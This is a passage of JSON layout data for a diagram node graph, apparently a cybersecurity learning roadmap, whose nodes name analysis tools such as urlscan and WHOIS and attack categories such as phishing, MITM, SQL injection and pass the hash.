Sandbox\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 146,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 146,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -391.2531259423894,\n        \"y\": 3299.128361959861\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 146,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"GZHFR43UzN0WIIxGKZOdX\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -149.25312594238892,\n        \"y\": 3246.128361959861\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"any.run\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 91,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 91,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -149.25312594238892,\n        \"y\": 3246.128361959861\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 91,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"lFt1k1Q-NlWWqyDA3gWD1\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -242.25312594238892,\n        \"y\": 3299.128361959861\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"urlvoid\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 91,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 91,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -242.25312594238892,\n        \"y\": 3299.128361959861\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 91,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"lMiW2q-b72KUl-2S7M6Vb\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -243.25312594238892,\n        \"y\": 3246.128361959861\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"urlscan\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 91,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 91,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -243.25312594238892,\n        \"y\": 3246.128361959861\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 91,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"-RnlvUltJ9IDtH0HEnMbN\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -148.25312594238892,\n        \"y\": 3299.128361959861\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"WHOIS\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 91,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 91,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -148.25312594238892,\n        \"y\": 3299.128361959861\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 91,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"3giWhwHHgeNJLz5Nf99zC\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 383.8469469943278,\n        \"y\": 2250.510869531745\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Attack Types and Differences\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 240,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 383.8469469943278,\n        \"y\": 2250.510869531745\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 240,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"7obusm5UtHwWMcMMEB3lt\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 352.98420930100326,\n        \"y\": 2287.395572977175\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Phishing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 91,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 91,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 352.98420930100326,\n        \"y\": 2287.395572977175\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 91,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"M65fCl72qlF0VTbGNT6du\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 445.98420930100326,\n        \"y\": 2287.9985721764524\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Whishing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 99,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 99,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 445.98420930100326,\n        \"y\": 2287.9985721764524\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 99,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"KSwl6sX2W47vUmytpm8LH\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 546.1233039027528,\n        \"y\": 2287.1274970529876\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Whaling\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 91,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 91,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 546.1233039027528,\n        \"y\": 2287.1274970529876\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 91,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"d4U6Jq-CUB1nNN2OCFoum\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 354.150252911777,\n        \"y\": 2340.0510104423965\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Smishing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 120,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 120,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 354.150252911777,\n        \"y\": 2340.0510104423965\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 120,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"cbEMUyg_btIPjdx-XqIM5\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 478.1502529117769,\n        \"y\": 2340.0510104423965\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Spam vs Spim\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 159,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 159,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 478.1502529117769,\n        \"y\": 2340.0510104423965\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 159,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"FD0bkmxNpPXiUB_NevEUf\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 355.3694615873112,\n        \"y\": 2393.4942600143736\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Shoulder Surfing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 173,\n      \"height\": 49,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 355.3694615873112,\n        \"y\": 2393.4942600143736\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 173,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Iu0Qtk13RjrhHpSlm0uyh\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 355.8027138407715,\n        \"y\": 2447.3726171714725\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Dumpster Diving\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 283,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 283\n      },\n      \"positionAbsolute\": {\n        \"x\": 355.8027138407715,\n        \"y\": 2447.3726171714725\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 283,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"o-keJgF9hmifQ_hUD91iN\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 531.1638539442414,\n        \"y\": 2393.4942600143736\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Tailgating\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 107,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 107,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 531.1638539442414,\n        \"y\": 2393.4942600143736\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 107,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"v9njgIxZyabJZ5iND3JGc\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 355.8027138407715,\n        \"y\": 2500.3726171714725\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Zero day\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 283,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 283,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 355.8027138407715,\n        \"y\": 2500.3726171714725\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 283,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"O1VceThdxRlgQ6DcGyY7Y\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 355.8027138407715,\n        \"y\": 2553.3726171714725\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Social Engineering\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 283,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 283\n      },\n      \"positionAbsolute\": {\n        \"x\": 355.8027138407715,\n        \"y\": 2553.3726171714725\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 283,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"UU_inxa8Y2lLP2BRhdLDT\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 355.8027138407715,\n        \"y\": 2606.3726171714725\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Reconnaissance\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 146,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 146,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 355.8027138407715,\n        \"y\": 2606.3726171714725\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 146,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ZEgxmvjWPp5NofLFz_FTJ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 503.5864782329346,\n        \"y\": 2606.3726171714725\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Impersonation\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 136,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 136,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 503.5864782329346,\n        \"y\": 2606.3726171714725\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 136,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"dcvuKHq0nHgHLcLwtl4IJ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 355.8027138407715,\n        \"y\": 2659.3726171714725\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Watering Hole Attack\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 283,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 283\n      },\n      \"positionAbsolute\": {\n        \"x\": 355.8027138407715,\n        \"y\": 2659.3726171714725\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 283,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"cO70zHvHgBAH29khF-hBW\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 355.8027138407715,\n        \"y\": 2712.3726171714725\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Drive by Attack\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 283,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 283\n      },\n      \"positionAbsolute\": {\n        \"x\": 355.8027138407715,\n        \"y\": 2712.3726171714725\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 283,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"0LeDwj_tMaXjQBBOUJ5CL\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 355.8027138407715,\n        \"y\": 2765.3726171714725\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Typo Squatting\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 283,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 283\n      },\n      \"positionAbsolute\": {\n        \"x\": 355.8027138407715,\n        \"y\": 2765.3726171714725\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 283,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Q0i-plPQkb_NIvOQBVaDd\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 355.8027138407715,\n        \"y\": 2818.3726171714725\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Brute Force vs Password Spray\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 285,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 285,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 355.8027138407715,\n        \"y\": 2818.3726171714725\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 285,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"xa62u-IX7efTGnKZRQp9a\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 418.4347638543662,\n        \"y\": 2878.4514780856343\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Common Attacks\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 147,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 418.4347638543662,\n        \"y\": 2878.4514780856343\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 147,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"IF5H0ZJ72XnqXti3jRWYF\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 352.3715014677115,\n        \"y\": 2914.3658407653543\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"DoS vs DDoS\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 150,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 150,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 352.3715014677115,\n        \"y\": 2914.3658407653543\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 150,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ODlVT6MhV-RVUbRMG0mHi\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 504.3715014677115,\n        \"y\": 2914.3658407653543\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"MITM\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 63,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 63,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 504.3715014677115,\n        \"y\": 2914.3658407653543\n      },\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 63,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"LteSouUtAj3JWWOzcjQPl\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 354.616259314598,\n        \"y\": 2968.3658407653543\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Spoofing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 86,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 86,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 354.616259314598,\n        \"y\": 2968.3658407653543\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 86,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"O1fY2n40yjZtJUEeoItKr\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 355.31770919950895,\n        \"y\": 3021.2980372212155\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Evil Twin\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 113,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 113,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 355.31770919950895,\n        \"y\": 3021.2980372212155\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 113,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"urtsyYWViEzbqYLoNfQAh\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 356.97017012850347,\n        \"y\": 3074.2215506106245\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"DNS Poisoning\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 291,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 291,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 356.97017012850347,\n        \"y\": 3074.2215506106245\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 291,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"LfWJJaT3fv0p6fUeS8b84\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 356.97017012850347,\n        \"y\": 3127.2215506106245\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Deauth Attack\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 291,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 291,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 356.97017012850347,\n        \"y\": 3127.2215506106245\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 291,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"u4hySof6if5hiONSaW-Uf\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 471.86582740539484,\n        \"y\": 3021.2980372212155\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"VLAN Hopping\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 177,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 177,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 471.86582740539484,\n        \"y\": 3021.2980372212155\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 177,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Ee7LfbhwJbiWjJ3b_bbni\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 356.97017012850347,\n        \"y\": 3233.2215506106245\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Rogue Access Point\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 291,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 291,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 356.97017012850347,\n        \"y\": 3233.2215506106245\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 291,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"n8ZOZxNhlnw7DpzoXe_f_\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 356.97017012850347,\n        \"y\": 3286.2215506106245\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Buffer Overflow\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 291,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 291,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 356.97017012850347,\n        \"y\": 3286.2215506106245\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 291,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"nOND14t7ISgSH3zNpV3F8\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 356.97017012850347,\n        \"y\": 3339.2215506106245\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Memory Leak\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 291,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 291,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 356.97017012850347,\n        \"y\": 3339.2215506106245\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 291,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"2jo1r9O_rCnDwRv1_4Wo-\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 598.1726629484747,\n        \"y\": 2968.3658407653543\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"XSS\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 51,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 51,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 598.1726629484747,\n        \"y\": 2968.3658407653543\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 51,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"P-Am25WJV8cFd_KsX7cdj\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 444.1516655887352,\n        \"y\": 2968.3658407653543\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"SQL Injection\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 152,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 152,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 444.1516655887352,\n        \"y\": 2968.3658407653543\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 152,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"pK2iRArULlK-B3iSVo4-n\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 569.983412221404,\n        \"y\": 2914.4514780856343\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"CSRF\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 81,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 81,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 569.983412221404,\n        \"y\": 2914.4514780856343\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 81,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"mIX8PsIGuwgPCGQZ6ok2H\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 356.97017012850347,\n        \"y\": 3180.2215506106245\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Replay Attack\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 291,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 291,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 356.97017012850347,\n        \"y\": 3180.2215506106245\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 291,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"sMuKqf27y4iG0GrCdF5DN\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 356.97017012850347,\n        \"y\": 3392.2215506106245\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Pass the Hash\",\n        \"style\": {\n          \"fontSize\": 